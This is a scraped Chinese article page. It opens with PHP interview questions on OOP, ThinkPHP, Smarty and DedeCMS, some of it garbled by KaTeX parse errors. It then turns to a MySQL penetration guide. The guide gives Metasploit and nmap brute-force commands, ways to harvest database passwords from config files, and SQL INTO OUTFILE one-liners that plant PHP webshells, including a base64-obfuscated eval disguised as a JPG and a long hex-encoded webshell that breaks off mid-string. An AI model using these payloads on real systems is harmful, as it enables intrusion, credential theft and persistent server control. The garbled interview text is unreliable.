XML是一种跨平台的,与软、硬件无关的,处理与传输信息的工具。(4)XML未来将会无所不在。XML将成为最普遍的数据处理和数据传输的工具。5、面向对象的特征有哪些方面?主要有封装,继承,多态。如果是4个方面则加上:抽象。封装:封装是保证软件部件具有优良的模块性的基础,封装的目标就是要实现软件部件的高内聚,低耦合,防止程序相互依赖性而带来的变动影响.继承:在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把这个已经存在的类所定义的内容作为自己的内容,并可以加入若干新的内容,或修改原来的方法使之更适合特殊的需要,这就是继承。继承是子类自动共享父类数据和方法的机制,这是类之间的一种关系,提高了软件的可重用性和可扩展性。多态:多态是指程序中定义的引用变量所指向的具体类型和通过该引用变量发出的方法调用在编程时并不确定,而是在程序运行期间才确定,即一个引用变量倒底会指向哪个类的实例对象,该引用变量发出的方法调用到底是哪个类中实现的方法,必须在由程序运行期间才能决定。抽象:抽象就是找出一些事物的相似和共性之处,然后将这些事物归为一个类,这个类只考虑这些事物的相似和共性之处,并且会忽略与当前主题和目标无关的那些方面,将注意力集中在与当前目标有关的方面。例如,看到一只蚂蚁和大象,你能够想象出它们的相同之处,那就是抽象。6、抽象类和接口的概念以及区别?抽象类:它是一种特殊的,不能被实例化的类,只能作为其他类的父类使用。使用abstract关键字声明。接口:它是一种特殊的抽象类,也是一个特殊的类,使用interface声明。区别:(1)抽象类的操作通过继承关键字extends实现,而接口的使用是通过implements关键字来实现。(2)抽象类中有数据成员,可以实现数据的封装,但是接口没有数据成员。(3)抽象类中可以有构造方法,但是接口没有构造方法。(4)抽象类的方法可以通过private、protected、public关键字修饰(抽象方法不能是private),而接口中的方法只能使用public关键字修饰。(5)一个类只能继承于一个抽象类,而一个类可以同时实现多个接口。(6)抽象类中可以有成员方法的实现代码,而接口中不可以有成员方法的实现代码。7、什么是构造函数,什么是析构函数,作用是什么?构造函数(方法)是对象创建完成后第一个被对象自动调用的方法。它存在于每个声明的类中,是一个特殊的成员方法。作用是执行一些初始化的任务。Php中使用__construct()声明构造方法,并且只能声明一个。析构函数(方法)作用和构造方法正好相反,是对象被销毁之前最后一个被对象自动调用的方法。是PHP5中新添加的内容作用是用于实现在销毁一个对象之前执行一些特定的操作,诸如关闭文件和释放内存等。8、如何重载父类的方法,举例说明重载,即覆盖父类的方法,也就是使用子类中的方法替换从父类中继承的方法,也叫方法的重写。覆盖父类方法的关键是在子类中创建于父类中相同的方法包括方法的名称、参数和返回值类型。PHP中只要求方法的名称相同即可。9、常用的魔术方法有哪些?举例说明php规定以两个下划线(__)开头的方法都保留为魔术方法,所以建议大家函数名最好不用__开头,除非是为了重载已有的魔术方法。__construct() 实例化类时自动调用。__destruct() 类对象使用结束时自动调用。__set() 在给未定义的属性赋值的时候调用。__get() 调用未定义的属性时候调用。__isset() 使用isset()或empty()函数时候会调用。__unset() 使用unset()时候会调用。__sleep() 使用serialize序列化时候调用。__wakeup() 使用unserialize反序列化的时候调用。__call() 调用一个不存在的方法的时候调用。__callStatic()调用一个不存在的静态方法是调用。__toString() 把对象转换成字符串的时候会调用。比如 echo。__invoke() 当尝试把对象当方法调用时调用。__set_state() 当使用var_export()函数时候调用。接受一个数组参数。__clone() 当使用clone复制一个对象时候调用。10、$this和self、parent这三个关键词分别代表什么?在哪些场合下使用?$this 当前对象self 当前类parent 当前类的父类$this在当前类中使用,使用->调用属性和方法。self也在当前类中使用,不过需要使用::调用。parent在类中使用。11、类中如何定义常量、如何类中调用常量、如何在类外调用常量。类中的常量也就是成员常量,常量就是不会改变的量,是一个恒值。定义常量使用关键字const.例如:const PI = 3.1415326;无论是类内还是类外,常量的访问和变量是不一样的,常量不需要实例化对象,访问常量的格式都是类名加作用域操作符号(双冒号)来调用。即:类名 :: 类常量名;12、作用域操作符::如何使用?都在哪些场合下使用?(1)调用类常量(2)调用静态方法(使用static修饰的类方法)13、__autoload()方法的工作原理是什么?使用这个魔术函数的基本条件是类文件的文件名要和类的名字保持一致。当程序执行到实例化某个类的时候,如果在实例化前没有引入这个类文件,那么就自动执行__autoload()函数。这个函数会根据实例化的类的名称来查找这个类文件的路径,当判断这个类文件路径下确实存在这个类文件后就执行include或者require来载入该类,然后程序继续执行,如果这个路径下不存在该文件时就提示错误。使用自动载入的魔术函数可以不必要写很多个include或者require函数。四、THINKPHP部分1、常见的PHP框架答:thinkPHP、laravel、yii、ci 等。2、如何理解TP中的单一入口文件?ThinkPHP采用单一入口模式进行项目部署和访问,无论完成什么功能,一个项目都有一个统一(但不一定是唯一)的入口。应该说,所有项目都是从入口文件开始的,并且所有的项目的入口文件是类似的。入口文件中主要包括:(1)定义框架路径、项目路径和项目名称(可选)(2)定义调试模式和运行模式的相关常量(可选)(3)载入框架入口文件(必须)3、ThinkPHP中的MVC分层是什么?(理解)MVC 是一种将应用程序的逻辑层和表现层进行分离的方法。ThinkPHP 也是基于MVC设计模式的。MVC只是一个抽象的概念,并没有特别明确的规定,ThinkPHP中的MVC分层大致体现在:模型(M):模型的定义由Model类来完成。控制器(C):应用控制器(核心控制器App类)和Action控制器都承担了控制器的角色,Action控制器完成业务过程控制,而应用控制器负责调度控制。视图(V):由View类和模板文件组成,模板做到了100%分离,可以独立预览和制作。但实际上,ThinkPHP并不依赖M或者V ,也就是说没有模型或者视图也一样可以工作。甚至也不依赖C,这是因为ThinkPHP在Action之上还有一个总控制器,即App控制器,负责应用的总调度。在没有C的情况下,必然存在视图V,否则就不再是一个完整的应用。总而言之,ThinkPHP的MVC模式只是提供了一种敏捷开发的手段,而不是拘泥于MVC本身。4、如何进行SQL优化?(关于后边的解释同学们可以进行理解,到时根据自己的理解把大体意思说出来即可)(1)选择正确的存储引擎MyISAM 适合于一些需要大量查询的应用,但其对于有大量写操作并不是很好。甚至你只是需要update一个字段,整个表都会被锁起来,而别的进程,就算是读进程都无法操作直到读操作完成。另外,MyISAM 对于 SELECT COUNT(*) 这类的计算是超快无比的。InnoDB 的趋势会是一个非常复杂的存储引擎,对于一些小的应用,它会比 MyISAM 还慢。但是它支持“行锁” ,于是在写操作比较多的时候,会更优秀。并且,他还支持更多的高级应用,比如:事务。(2)优化字段的数据类型记住一个原则,越小的列会越快。如果一个表只会有几列罢了(比如说字典表,配置表),那么,我们就没有理由使用 INT 来做主键,使用 MEDIUMINT, SMALLINT 或是更小的 TINYINT 会更经济一些。如果你不需要记录时间,使用 DATE 要比 DATETIME 好得多。当然,你也需要留够足够的扩展空间。(3)为搜索字段添加索引索引并不一定就是给主键或是唯一的字段。如果在你的表中,有某个字段你总要会经常用来做搜索,那么最好是为其建立索引,除非你要搜索的字段是大的文本字段,那应该建立全文索引。(4)避免使用Select 从数据库里读出越多的数据,那么查询就会变得越慢。并且,如果你的数据库服务器和WEB服务器是两台独立的服务器的话,这还会增加网络传输的负载。即使你要查询数据表的所有字段,也尽量不要用通配符,善用内置提供的字段排除定义也许能给带来更多的便利。(5)使用 ENUM 而不是 VARCHARENUM 类型是非常快和紧凑的。在实际上,其保存的是 TINYINT,但其外表上显示为字符串。这样一来,用这个字段来做一些选项列表变得相当的完美。例如,性别、民族、部门和状态之类的这些字段的取值是有限而且固定的,那么,你应该使用 ENUM 而不是 VARCHAR。(6)尽可能的使用 NOT NULL除非你有一个很特别的原因去使用 NULL 值,你应该总是让你的字段保持 NOT NULL。 NULL其实需要额外的空间,并且,在你进行比较的时候,你的程序会更复杂。 当然,这里并不是说你就不能使用NULL了,现实情况是很复杂的,依然会有些情况下,你需要使用NULL值。(7)固定长度的表会更快如果表中的所有字段都是“固定长度”的,整个表会被认为是 “static” 或 “fixed-length”。 例如,表中没有如下类型的字段: VARCHAR,TEXT,BLOB。只要你包括了其中一个这些字段,那么这个表就不是“固定长度静态表”了,这样,MySQL 引擎会用另一种方法来处理。固定长度的表会提高性能,因为MySQL搜寻得会更快一些,因为这些固定的长度是很容易计算下一个数据的偏移量的,所以读取的自然也会很快。而如果字段不是定长的,那么,每一次要找下一条的话,需要程序找到主键。并且,固定长度的表也更容易被缓存和重建。不过,唯一的副作用是,固定长度的字段会浪费一些空间,因为定长的字段无论你用不用,他都是要分配那么多的空间。5、如何理解 ThinkPHP 3.0 架构(核心 + 行为 + 驱动)中的行为?(1)核心(Core):就是框架的核心代码,不可缺少的东西,TP本身是基于MVC思想开发的框架。(2)行为(Behavior) :行为在新版ThinkPHP的架构里面起着举足轻重的作用,在系统核心之上,设置了很多标签扩展位,而每个标签位置可以依次执行各自的独立行为。行为扩展就因此而诞生了,而且很多系统功能也是通过内置的行为扩展完成的,所有行为扩展都是可替换和增加的,由此形成了底层框架可组装的基础。(3)驱动( Driver ):数据库驱动、缓存驱动、标签库驱动和模板引擎驱动,以及外置的类扩展。6、什么是惯例配置?所谓的惯例配置,便是框架的自带的配置文件。该文件在核心框架目录下的convention.php中,配置内容如下。由于该文件属于框架自带的配置文件,在实际的开发过程中,主要给我们做参考实例使用,我们很少去修改该文件的配置内容,更多的是根据需求来按照惯例配置中的字段定义和注释来在模块或者Common中自定义配置内容。7、什么是SQL注入?(理解)SQL注入攻击是黑客对数据库进行攻击的常用手段之一。一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,注入者可以在表单中输入一段数据库查询代码并提交,程序将提交的信息拼凑生成一个完整sql语句,服务器被欺骗而执行该条恶意的SQL命令。注入者根据程序返回的结果,成功获取一些敏感数据,甚至控制整个服务器,这就是SQL注入。8、ThinkPHP如何防止SQL注入?(理解)(1)查询条件尽量使用数组方式,这是更为安全的方式;(2)如果不得已必须使用字符串查询条件,使用预处理机制;(3)使用绑定参数(4)开启数据字段类型验证,可以对数值数据类型做强制转换;(3.1版本开始已经强制进行字段类型验证了)(5)使用自动验证和自动完成机制进行针对应用的自定义过滤;(6)使用字段类型检查、自动验证和自动完成机制等避免恶意数据的输入。9、如何开启调试模式?调试模式有什么好处?开启调试模式很简单,只需要在入口文件中增加一行常量定义代码:// 开启调试模式 建议开发阶段开启 部署阶段注释或者设为falsedefine(‘APP_DEBUG’, true);调试模式的优势在于: 开启日志记录,任何错误信息和调试信息都会详细记录,便于调试; 关闭模板缓存,模板修改可以即时生效; 记录SQL日志,方便分析SQL; 关闭字段缓存,数据表字段修改不受缓存影响; 严格检查文件大小写(即使是Windows平台),帮助你提前发现Linux部署问题; 可以方便用于开发过程的不同阶段,包括开发、测试和演示等任何需要的情况,不同的应用模式可以配置独立的项目配置文件。10、TP中支持哪些配置模式?优先级?惯例配置->应用配置->模式配置->调试配置->状态配置->模块配置->扩展配置->动态配置以上是配置文件的加载顺序,因为后面的配置会覆盖之前的同名配置(在没有生效的前提下),所以优先顺序从右到左。11、TP中的URL模式有哪几种?默认是哪种?ThinkPHP支持四种URL模式,可以通过设置URL_MODEL参数来定义,包括普通模式、PATHINFO、REWRITE和兼容模式。默认模式为:PATHINFO模式,设置URL_MODEL 为112、TP中系统变量有哪些?如何获取系统变量?(1)系统变量:SERVER、_SERVER、SERVER、_ENV、 _POST、POST、_GET、 REQUEST、_REQUEST、REQUEST、_SESSION和 $_COOKIE变量(2)获取系统变量:{KaTeX parse error: Expected 'EOF', got '}' at position 25: …ver.script_name}̲ // 输出_SERVER[‘SCRIPT_NAME’]变量{KaTeX parse error: Expected 'EOF', got '}' at position 22: …session.user_id}̲ // 输出_SESSION[‘user_id’]变量{KaTeX parse error: Expected 'EOF', got '}' at position 21: ….get.pageNumber}̲ // 输出_GET[‘pageNumber’]变量{KaTeX parse error: Expected 'EOF', got '}' at position 18: …ink.cookie.name}̲ // 输出_COOKIE[‘name’]变量13、ThinkPHP框架中D函数与M函数的区别是什么?M方法实例化模型无需用户为每个数据表定义模型类,D方法可以自动检测模型类,如果存在自定义的模型类,则实例化自定义模型类,如果不存在,则会自动调用M方法去实例化Model基类。同时对于已实例化过的模型,不会重复去实例化(单例模式)。五、smarty模板引擎1、编译和缓存区别?smarty的编译过程就是把模板拿过来,把里面的标签替换成相应php代码,这就是smarty的编译, 其实就是php和html混合的过程smarty的缓存需要手动开启,smarty的缓存就是把编译好的文件执行后,同时生成一份静态的html页面,再次访问的时候,你访问的就是是html文件了,所以就效率来说,要高一些。2、什么是smarty? Smarty的优点是什么?Smarty是一个使用PHP写出来的PHP模板引擎,目的是要使用PHP程序同美工分离,使的程序员改变程序的逻辑内容时不会影响到美工的页面设计,美工重新修改页面时不会影响到程序的程序逻辑,这在多人合作的项目中显的尤为重要。(也易于程序的多样式开发)Smarty优点(1)速度快:相对其他模板引擎。(2) 编译型:采用smarty编写的程序在运行时要编译成一个非模板技术的PHP文件(3)缓存技术:它可以将用户最终看到的HTML文件缓存成一个静态的HTML页(4)插件技术:smarty可以自定义插件。不适合使用smarty的地方(1)需要实时更新的内容。例如像股票显示,它需要经常对数据进行更新(2)小项目。小项目因为项目简单而美工与程序员兼于一人的项目3、在模板中使用{$smarty}保留变量{KaTeX parse error: Expected 'EOF', got '}' at position 16: smarty.get.page}̲ //类似在php脚本中访问_GET[page]{KaTeX parse error: Expected 'EOF', got '}' at position 16: smarty.cookies.}̲ {smarty.post.}{KaTeX parse error: Expected 'EOF', got '}' at position 16: smarty.session.}̲ {smarty.server.}在模板中访问php中的变量5、变量调解器2018PHP经典面试题大全汇总(更新)-PHP面试题6、php查询mysql数据库时,查询中文结果时出现的乱码。怎么解决?(1)文件meta(设置浏览器解析的时候)(2)连接数据库时编码设定(3)PHP文件中使用header函数确定编码7、缓存机制如果开启了缓存,smarty同时生成一份静态的html页面,如果在设定的时间没有过期,再次访问的时候,你访问的就是是html文件了,减少了读取数据库,所以就效率来说,要高一些。8、smarty的赋值和载入模板Smarty−>assign(name,value)Smarty->assign(name,value) Smarty−>assign(name,value)Smarty->display(‘index.html’)9、marty模板技术的用途是什么?为了php与html分开,美工和程序员各司其职,互不干扰。10、smarty配置主要有哪几项?(1)引入smarty.class.php;(2) 实例化smarty对象;(3)重新修改默认的模板路径;(4)重新修改默认的编译后文件的路径;(5)重新修改默认的配置文件的路径;(6)重新修改默认的cache的路径。(7) 可以设置是否开启cache。(8)可以设置左侧和右侧定界符。11、smarty在使用过程中需要注意哪些细节?Smarty是基于MVC概念的一种模板引擎,它将一个页面程序分成了两部分来实现:即视图层和控制层,也就是说smarty技术将用户UI与php代码分离开。这样程序员和美工各司其职,互不干扰。12、smarty运用过程中要注意以下几个问题:(1)正确配置smarty。主要要实例化smarty对象,配置smarty模板文件的路径;(2)php页面中使用assign赋值 和display显示页面;(3)smarty模板文件中不允许出现php代码段,所有的注释,变量,函数都要包含在定界符内。六、二次开发系统(DEDE、ecshop)1、对二次开发的理解二次开发,简单的说就是在现有的软件上进行定制修改,功能的扩展,然后达到自己想要的功能,一般来说都不会改变原有系统的内核。2、MVCModel(模型)数据处理。View(视图) 模板显示。Controller(控制器) 控制流程。MVC的概念是什么?各层主要做什么工作?MVC(即模型-视图-控制器)是一种软件设计模式或者说编程思想。M指Model模型层,V是View视图层(显示层或者用户界面),C是Controller控制器层。使用mvc的目的是实现M和V分离,从而使得一个程序可以轻松使用不同的用户界面。在网站开发中,模型层一般负责对数据库表信息进行增删改查,视图层负责显示页面内容,控制器层在M和V之间起到调节作用,控制器层决定调用哪个model类的哪个方法,执行完毕后由控制器层决定将结果assign到哪个view层。3、二次开发程序安装后访问时候出现一些警告以及错误根据错误,来修改服务器配置参数以及百度4、功能,模板的更换,功能的添加修改其实也就是面向对象的应用 用,以及模板的更换类似smarty的使用5、用过哪些二次开发的东西?Dedecms phpcms ecshop,基本这些的东西如果基础好了 学习起来都是没问题的。6、像php做一次开发好,还是二次开发好?一般中小企业都用cms系统二次开发,都是为了效率。当然如果想一次开发也行,会用框架而且时间充足的话就可以了,大企业都是团队来开发的,杜绝版权问题。7、二次开发过程中很多类与类之间进行之间的方法访问,是通过什么方式传递的?不是类继承而是对象组合,把实例化好的对象通过global传递进去8、dedecms如果更换目录,后台某项就进不去了如何解决?后台核心设置中修改成现在的 项目目录名称9、dedecms中自定义模型的理解?在织梦系统中有内容模型这个概念,不同内容模型可以用来构建不同内容形式的站点,在系统中自带了以下几种模型:普通文章、图集、软件、商品、分类信息、专题。通过系统自带的模型,我们可以用来构建不同类型的站点,例如:使用图集可以做一个图片站,用软件模型构建一个软件下载站点。当然以上随系统附带的模型被称为系统模型,用户可以自己定义一些模型,比如图书、音乐专辑等,自定义了这些模型才可以构建更多内容形式的站点。相当于我们自动添加了表结构,适应现在当前需求的变化10、dede中概念,设计和使用模板,必须要理解下面几个概念(1)板块(封面)模板:指网站主页或比较重要的栏目封面频道使用的模板,一般用“index_识别ID.htm”命名,此外,用户单独定义的单个页面或自定义标记,也可选是否支持板块模板标记,如果支持,系统会用板块模板标记引擎去解析后才输出内容或生成特定的文件。(2)列表模板:指网站某个栏目的所有文章列表的模板,一般用 “list_识别ID.htm” 命名。(3) 档案模板:表示文档查看页的模板,如文章模板,一般用 “article_识别ID.htm” 命名。(4) 其它模板:一般系统常规包含的模板有:主页模板、搜索模板、RSS、JS编译功能模板等,此外用户也可以自定义一个模板创建为任意文件。11、dede中几种标签的使用?列表 内容 等标签 只能在其本范围内使用,列表标签只能在列表中使用,内容标签只能在内容标签中使用。全局标签能在所有页面中使用12、熟悉常用类库(例如:dedesql.class.php);熟悉系统函数库(common.func.php);熟悉自定义函数库(extend.func.php);熟悉前台入口文件(common.inc.php)七、微信公众平台开发1、微信运行机制公众号与php之间用什么语言通信:XmlWeixin.php中是如何接收公众号数据的:postStr =postStr=GLOBALS[“HTTP_RAW_POST_DATA”];//接收数据 XML数据2、消息类型微信目前提供了7种基本消息类型,分别为:(1)文本消息(text);(2)图片消息(image);(3)语音(voice)(4)视频(video)(5)地理位置(location);(6)链接消息(link);(7)事件推送(event)类型。掌握不同的消息类型发送时的数据传递格式3、将整个文件读入一个字符串的函数是File_get_contents4、常用函数把xml数据解析成对象的函数是simplexml_load_string( )将字符串转换为数组的函数是___ explode_________,将数组转化为字符串的函数是____implode________.编码 URL 字符串的字符串是____urlencode________.5、Sprintf函数的作用这个都是可以查手册的。6、微信公众号出现无法提供服务的原因?(1)网络原因 ,数据接口原因(2)代码错误,怎么推测原因修改的哪里检查一下,如果代码没错可以输出数据 看一下。用php操作文件$myfile = fopen(“newfile.txt”, “w”);txt="aaaaaaaaaa";fwrite(txt ="aaaaaaaaaa";fwrite(txt="aaaaaaaaaa";fwrite(myfile, txt);fclose(txt);fclose(txt);fclose(myfile);7、自定义菜单的事件推送单击单击跳转链接扫码推事件扫码推且弹出弹出系统拍照发图的事件弹出微信相册发图器的事件弹出地理位置选择器的事件8、token的作用安全机制验证,用于微信服务器与PHP服务器之间的安全验证9、Appid与secrect的作用请求api接口(例如菜单的操作)时需要传appid与secrect两个值,用来获取应用的授权码
文章
XML  ·  SQL  ·  存储  ·  缓存  ·  前端开发  ·  关系型数据库  ·  PHP  ·  数据库  ·  数据格式  ·  索引
2023-01-04
MySQL数据库渗透及漏洞利用总结
MySQL 数据库渗透及漏洞利用总结 Simeon MySQL 数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用 MySQL 作为其数据库支撑,目前很多架构都以 MySQL 作为数据库管理系统,例如 LAMP、和 WAMP 等。 在针对网站渗透中,很多都是跟 MySQL 数据库有关,各种 MySQL 注入,MySQL 提权,MySQL 数据库 root 账号 webshell 获取等的,但没有一个对 MySQL 数据库渗透较为全面对总结。 针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究 MySQL 数据库安全之余,对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。 1.1-MySQL 信息收集 1. 端口信息收集 MySQL 默认端口是 3306 端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用: (1)iisputter,直接填写 3306 端口,IP 地址填写单个或者 C 段地址。 (2)nmap 扫描 nmap -p 3306 192.168.1.1-254 特定目标的渗透,可能需要对全端口进行扫描,可以使用 Nmap 对某一个 IP 地址进行全端口扫描,端口扫描软件还有 sfind 等 DOS 下扫描的工具。 2. 版本信息收集 (1)msf 查看版本信息 auxiliary/scanner/mysql/mysql_version 模块,以扫描主机 192.168.157.130 为例,命令为: 1 2 3 use auxiliary/scanner/mysql/mysql_version set rhosts 192.168.157.130 run (2)MySQL 查询版本命令:SELECT @@version、SELECT  version(); (3)sqlmap 通过注入点扫描确认信息: 1  sqlmap.py -u url --dbms mysql (4)phpmyadmin 管理页面登录后查看 localhost->变量->服务器变量和设置中的 version 参数值。 3. 数据库管理信息收集 MySQL 管理工具有多种,例如 phpmyadmin 网站管理,Navicat for MySQL 以及 MysqlFront 等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。 4. msf信息收集模块 (1)MySQL 哈希值枚举 1 2 3 4 use auxiliary/scanner/mysql/mysql_hashdump set username root set password root run (2)获取相关信息 1 2 3 4 use auxiliary/admin/mysql/mysql_enum set username root set password root run 获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。 (3)执行 MySQL 语句,连接成功后可以在 msf 执行 sql 语句,跟 sqlmap 的“--sql-shell”模块类似。 1 use auxiliary/admin/mysql/mysql_sql (4)将 mysql_schem 导出到本地 /root/.msf4/loot/ 文件夹下 1 use auxiliary/scanner/mysql/mysql_schemadump (5)文件枚举和目录可写信息枚举 1 2 auxiliary/scanner/mysql/mysql_file_enum auxiliary/scanner/mysql/mysql_writable_dirs 没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。 1.2-MySQL 密码获取 1.2.1 暴力破解 MySQL 暴力破解主要有几种: 1. 网页在线连接破解 可以使用 burpsuite 和 phpMyAdmin 多线程批量破解工具。 下载:https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co 2. msf 通过命令行进行暴力破解 msf 破解 mysql 密码模块 auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。 对单一主机仅仅需要设置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它参数根据实际情况进行设置。 (1)场景A:对内网获取 root 某一个口令后,扩展渗透 1 2 3 4 5 use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set password root set username root run 执行后对 192.168.157.1-254 进行 MySQL 密码扫描验证。 (2)场景B:使用密码字典进行扫描 1 2 3 4 5 use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set pass_file /tmp/password.txt set username root run 3. 使用 nmap 扫描并破解密码 (1)对某一个 IP 或者 IP 地址段进行 nmap 默认密码暴力破解并扫描 1 2 nmap --script=mysql-brute 192.168.157.130 nmap --script=mysql-brute 192.168.157.1-254 (2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息 1 nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 (3)检查root空口令 1 nmap --script mysql-empty-password 192.168.195.130 4. 使用 hscan 工具对 mysql 口令进行扫描,需要设置扫描 IP 地址段以及数据库口令字典及用户名字典。 1.2.2 源代码泄露 1. 网站源代码备份文件 一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对 zip/rar/tar/tar.gz/gz/sql 等后缀文件进行扫描。 2. 配置备份文件 使用 ultraedit 等编辑文件编辑数据库配置文件后,会留下 bak 文件。 1.2.3 文件包含 本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。 1.2.4 其它情况 有些软件会将 IP 地址、数据库用户名和密码写进程序中,运行程序后,通过 cain 软件进行嗅探,可以获取数据库密码。另外 Mysql 客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接 IP 地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。 1.3-Mysql 获取 webshell 1.3.1 phpmyadminroot 账号获取 webshell MysqlRoot 账号通过 phpMyAdmin 获取 webshell 的思路,主要有下面几种方式,以第一二六八种方法较佳,其它可以根据实际情况来进行。 1. 直接读取后门文件 通过程序报错、phpinfo 函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过 load_file 直接读取。 2. 直接导出一句话后门 前提需要知道网站的真实物理路径,例如呼求偶真实路径 D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件 cmd.php,访问地址 http://www.somesite.com/cmd.php 1 select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 3. 创建数据库导出一句话后门 在查询窗口直接执行以下代码即可,跟2.原理类似。 1 2 3 4 CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL ); INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>'); SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php'; DROP TABLE IF EXISTS `antian365`; 4. 可执行命令方式 创建执行命令形式的 shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。 1 select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php' 另外在 linux 下可以导出直接执行命令的 shell: 1 2 SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; http://localhost/shell.php?c=cat%20/etc/passwd 5. 过杀毒软件方式 通过后台或者存在上传图片的地方,上传图片 publicguide.jpg,内容如下: 1 <?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?> 然后通过图片包含temp.php,导出webshell。 1 select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 一句话后门密码:antian365 6. 直接导出加密 webshell 一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密 webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改D:/WEB/IPTEST/22.php。 1 select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E2